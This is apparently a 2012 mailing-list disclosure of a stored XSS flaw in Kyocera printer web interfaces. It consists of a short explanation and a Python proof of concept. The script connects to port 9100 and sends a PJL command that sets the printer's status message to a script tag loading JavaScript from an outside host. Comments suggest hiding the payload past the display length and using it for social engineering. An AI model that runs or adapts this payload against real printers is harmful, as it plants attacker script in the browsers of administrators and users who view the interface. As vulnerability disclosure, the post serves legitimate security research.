Found the below on a printer a couple of years ago, sent to Kyocera but never heard anything back... Changing the 'Ready' message on a printer is quite a well known prank (And much fun was had with this yesterday!) but also an interesting avenue for injecting XSS, as the Kyocera printer management interface plays the status message back without any filtering. It's quite a fun little hack! Not having a Kyocera any more I can't test it further, or whether it's now fixed, but it worked pretty consistently at the time. Might work in other makes/models of printers; please let me know on here if you find any! As the status message on printers is pretty well trusted; injecting into it causes side effects in all sorts of things, I leave it up to the reader to find other bits of software that capture these and replay them to users unfiltered! Python POC, sorry if the formatting gets mangled, first time posting code to mailman: ############################## # Date: 30/07/2012 # Semi*-persistent XSS in Kyocera web interface; tested on FS-C5250DN, may work on other models. # # 1. The message currently on the printer's LCD is shown on the web interface, unfiltered. # 2. We can change this message using PJL commands # 1+2 == xss # for extra fun, the message can be longer than the display, so you can hide your XSS :) # # *This resets on reboot, but how often do people reboot their printers? # ############################## import socket HOST='10.0.0.1' PORT=9100 #OPMSG Pauses the printer until the users goes and mashes the buttons, useful for social engineering in theory, could never get this to work consistently in practice. #RDYMSG Persists until reboot #base="@PJL OPMSG DISPLAY=\"" base="@PJL RDYMSG DISPLAY=\"" message="Ready " xss="<script src=http://ha.ckers.org/xss.js />" payload= base + message + xss + "\"\n\r" print payload s = None for res in socket.getaddrinfo(HOST, PORT, socket.AF_UNSPEC, socket.SOCK_STREAM): af, socktype, proto, canonname, sa = res try: s = socket.socket(af, socktype, proto) except socket.error, msg: s = None continue try: s.connect(sa) except socket.error, msg: s.close() s = None continue break if s is None: print 'could not open socket' sys.exit(1) s.sendall(payload) s.close() #Visit 10.0.0.1 now, and you'll get your xss back.